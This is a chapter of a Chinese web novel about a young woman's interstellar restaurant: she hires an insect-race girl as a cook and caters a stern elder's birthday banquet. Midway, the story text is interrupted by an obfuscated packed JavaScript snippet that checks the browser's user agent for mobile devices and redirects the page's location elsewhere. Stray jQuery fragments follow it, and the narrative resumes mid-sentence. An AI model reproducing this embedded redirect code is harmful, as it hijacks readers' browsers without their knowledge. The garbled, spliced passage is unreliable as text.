30. 生日宴

作品:《我靠美食驯服星际超s级

    清麦带着虫族的少女走入中餐厅的后厨。


    此时,卡特和普普在制作透皮流油的小包子。


    他们已经把面点的原理弄清楚了,面粉的区别、发酵的范围,许多现擀饺子,手工馄饨和包子甚至土家手抓饼都能够举一反三。


    卡特很有大徒弟的风范,指导道:“和面加水要少量多次的加,诶你别拿错开水,这又不用烫面!”


    普普手忙脚乱地拿好量杯,用筷子调和出了一团极其湿润的面团。


    “下一步的秘诀是加点猪油和白糖增香。”卡特很喜欢这些做菜的小秘诀,清麦说一遍他就能记住,并且帮她把菜谱进行整理成册,根据食客们的反馈调整出更符合星际人口味的菜单。


    油包子想好吃的关键,首先是馅儿要新鲜和味道好,清麦从app里兑换了两头猪,都是凌晨现宰,分下来的肉还躺在案板上。


    新鲜的猪肉末在热锅中炒出油脂,喷香的,加入蚝油甜面酱之类的调味,直到肉末颜色加深了褐色。而一半的生肉末和提前炒好的熟肉末就是包子汤汁丰富透油的关键。


    为了可持续发展,每次兑换活禽和家畜都会附带一些幼崽饲养着,五只小猪仔也在山下的猪圈里安了家。


    把包子一个个捏好后,普普将蒸笼摆好,两人获得短暂的休息时间。


    他们往处理间的蜥蜴和黑豹探望,几个人还有一堆的内脏和猪肉要分割处理。


    余光一扫,看到清麦过来了,两人都习惯性的打声招呼,“阿麦早上……”


    两人像是见了鬼一样,声音不约而同地卡在喉咙里:“虫……虫子!”


    “阿麦大人赶紧离开!”普普被吓得连嗓音都变调了,她做好防御的姿态,紧张得看着清麦一动不动。


    清麦是被劫持了吗?!警报器偏偏不在厨房里!


    清麦摆摆手,“怎么,对新同事敌意这么大的吗?安心啦,我现在很安全的。”


    为了证明自己真的很安全,她甚至走到台面前点评:“这种包点不用揉面不用擀面,确实是新手的第一步,你们掌握的都很好。”


    她又招呼虫族的少女走过来,侧身询问:“看清楚你以后的工作了吗?愿意吗?”


    虫族少女仔细的观摩后,也把手洗干净,把第二笼酱肉包子包了起来。


    手法不熟练,但是看一遍就记住了大概的流程,可以说是先天厨师圣体。


    她只包了两个,卖相没那么好看,却也没有漏油漏肉,手很巧对面皮的延展掌控得很好。


    普普见她外貌出众,加上学习极快,没来由地生出一点敌意:“可她是虫族啊!前段时间我们还被袭击过的!”


    “即使我是星际人,想把你们分解卖了器官或者又骗你们去地下市场做收藏品,你们还觉得我是好人吗?”清麦不紧不慢地回复:“好人和坏人,善良的虫族和邪恶的虫族。变化的不是名次,而是形容词。”


    虫族女孩知道大家很畏惧她,便转过身咬咬牙将自己的触角切了下来。


    “大家不用害怕,我们种族本身没有战力,唯一能够积蓄一点攻击能量的触角,我也能够交由清麦大人保管。”


    兽人们闻声赶来,几个人手里甚至还拎着剔骨的尖刀,气势汹汹地瞪着虫族少女。


    在这样的目光下,她又开始紧张的扣手,把头埋下了,脸颊上红彤彤的。


    卡特叹了口气:“虽然很想说阿麦能不能别瞎捡人回来,但我们不也是她捡回来的吗?”


    一个无精神力的残疾少女,一群备受歧视的兽人,一只行踪不定的雪狼,现在又来一只点满厨艺天赋的虫族。这个中餐厅就是将一群被人敲上“不可能”印章的人聚集起来的啊。


    短暂的静默后,兽人们卸下一口气。


    普普只是僵硬地说:“该吃早饭了,等会六点五十就要迎客了。”


    几人揭开蒸笼,扑面而来的水蒸气好像给脸部做了一个桑拿,让身体更放松了。


    一只只饱满的油包子出笼了!


    油润软糯,面皮暄软,原本该是白花花的白子皮,此时因为透着肉汁汤而显得花纹斑驳。一口咬下去,纷纷在嘴里爆汁。


    面皮和着汤汁一起,丝毫不干腻。


    “嚯嚯……”黑豹吃得太急了,一下子被里面的肉馅烫到,只能狼狈的吐出舌头降温。


    兽人们和清麦呆久了,也很熟悉歇后语,异口同声道:“心急吃不了热豆腐!”


    几人相视一眼,哈哈大笑起来。


    紧绷的气氛看到这样的出丑,彻底被缓和了。


    -


    今天有一桌定制餐,是土地管理局副局长一家人为家族中的老爷子庆生。包了一个包厢。


    老人的牙口要顾及,小孩的口味也要顾及,怎么置办出这一场生日宴,清麦和员工们商量了一下,就定了菜单。


    热乎的猪肉先趁着新鲜劲儿打几斤丸子,是潮汕地区的非遗菜品之一。只有足够新鲜的猪肉,化为粉红色的肉糜搅拌上劲后才会足够酥弹。


    肉丸在演化中加入了不少流行元素,现如今不仅有传统的薄壳米猪肉丸,内含鲜甜海瓜子,又拿九层塔增香。还有新奇的柠檬猪肉丸,特有的清香解腻。这些肉丸子开汤,最后撒上一把香菜葱花。


    临近饭点,一名白发老者背着手走进来,清麦之间打过交道的这位副局长对长辈很恭敬,而这位老爷子板着脸一副老干部的姿态,走进来还像是审视下属一般,把清麦挑剔了一番。


    视线上上下下都是不信任:“一个年轻的丫头,呵。”


    “我这个人从来不贪什么口腹之欲,想当年我们那代人在这个荒星开荒,从来都是吃的营养液,什么时候轮到这种享乐派、这种小资派到我们这了?!你小子非要定这家店,不便宜吧?我倒是要看看……”


    其他的食客也是看热闹吃瓜,交头接耳:“我靠,副局长都对他恭恭敬敬,甚至有些狗腿了,这人是谁啊?”


    “你年级小不知道,他是荒星最早一批议员代表,政绩有带头建立我们城市,创立龙云经济开发区啊,可以说我们的经济发展有这老爷子的一手功绩。”


    “但是他为人可古怪了,别说外人送礼送不


    到他心坎儿,就算是儿孙,也经常被他痛骂一顿。”“清麦要是搞砸了,绝对会死定的!”


    人的悲喜并不相通,比如清麦和所有员工都严阵以待,而其他人则是有些幸灾乐祸,想看最严苛的老议员怎么评价这个小餐厅


    看来这位老爷子平素是一个非常严苛的人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13466358|138728||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,而他的子辈,孙辈都是在城市里有头有脸的人物,只要是老爷子一个不满意,清麦相信这帮“大孝子”绝对会投诉个遍!


    当然,她绝不会让这样的投诉发生。


    等到客人入座后,清麦先是亲自为其送上了小盆栽。被包扎好的五层塔松。


    老爷子嘴上说着:“不需要,我不需要这些装饰。”实际上眼睛不停的瞄着,青松历来是刚正、清肃的代表,小盆栽姿态挺拔苍翠,颜色苍翠。


    而且,这可是全星际难得一见的灵植!他活了130岁了,绝对没有见过。


    这是目前唯一的礼物!太贵重了!


    清麦大方一笑:“这是我们餐厅在遭遇袭击后第一次承接正式的生日宴,您是多寿多福,如鹤如松呢,我们还要伴伴您的福气,要餐厅蒸蒸日上啊!”


    几番话术下来,老爷子也被哄得嘴角微微松动,道:“那就别辜负小姑娘的一番心意,阿璃,带回去好好养着,回头找她要个养护的方子。”


    菜品一道接一道上齐,所有的的菜单都是颇有寓意的。


    最清爽的一道“白玉肉丸汤”,一口丸子咬下去,甚至能听到牙齿破开肉皮的声音,整个肉丸内部充盈着丰富的气孔,吃起来空气感十足,而每一口之间又是极其的有韧性。


    做每一道菜,都是抱着对生活的热爱和期待。食客们将人生中的重要时刻交给她,清麦不然不能辜负。


    最后的长寿面,寿桃,严肃了一辈子的老爷子也颇有兴致的捞起一根面,在欢呼中吸溜到低。


    “太好了,面条没有断!爷爷长命百岁!”


    在美食的烘托下,儿孙绕膝,老人发出幸福的喟叹,食客们将她的美食和生活中的小确幸紧紧联系在一起。


    清麦和员工送走了这一大家子人,3万星币的宴会星币到账,而清麦的光脑也发出了提示:【恭喜您的积分达到10000积分,成功升级到Level2,更多功能和物资请自行探索。】


    原本长长的蓝色进度条,在账号升级以后又变得短小起来,而升级为三级的要求多加了一个认可值。


    点击会有一行小字。


    【附加解释:你的美食店铺已经小有规模,现在请店铺和店主加油,点亮瑶花市的认可值吧!】


    意思是,后期要走出城市吗?


    她暂时没有想一口吃撑大胖子,便先去看自己最为在乎的“那颗蛋”。


    【是否花费2000积分敲击蛋壳?探索神蛋?】


    清麦屏住呼吸,看着光脑界面中出现了一个锤子的卡通图,在布满花纹的蛋上敲击三下。


    蛋壳有些微破碎,其中射出一股刺目的光芒,直中清麦的额心!


    她顿时觉得自己失去了视力,跌坐在地上。


    身体也传来异样。


    痛,像是脑子里被人拿电钻在搅合,还有嗡嗡地耳鸣。


    清麦痛苦的趴在地上,很快汗水浸透了头发和衣服。


    她不管是蜷缩还是打滚,甚至是用头撞墙都减少不了半分。


    这种痛感在云渊从窗户处跃进来更甚。


    雪狼的每一步靠近,都让她能够感受到恐怖如冰川的压制。


    清麦撑不住了,尖叫一声:“不要过来!!”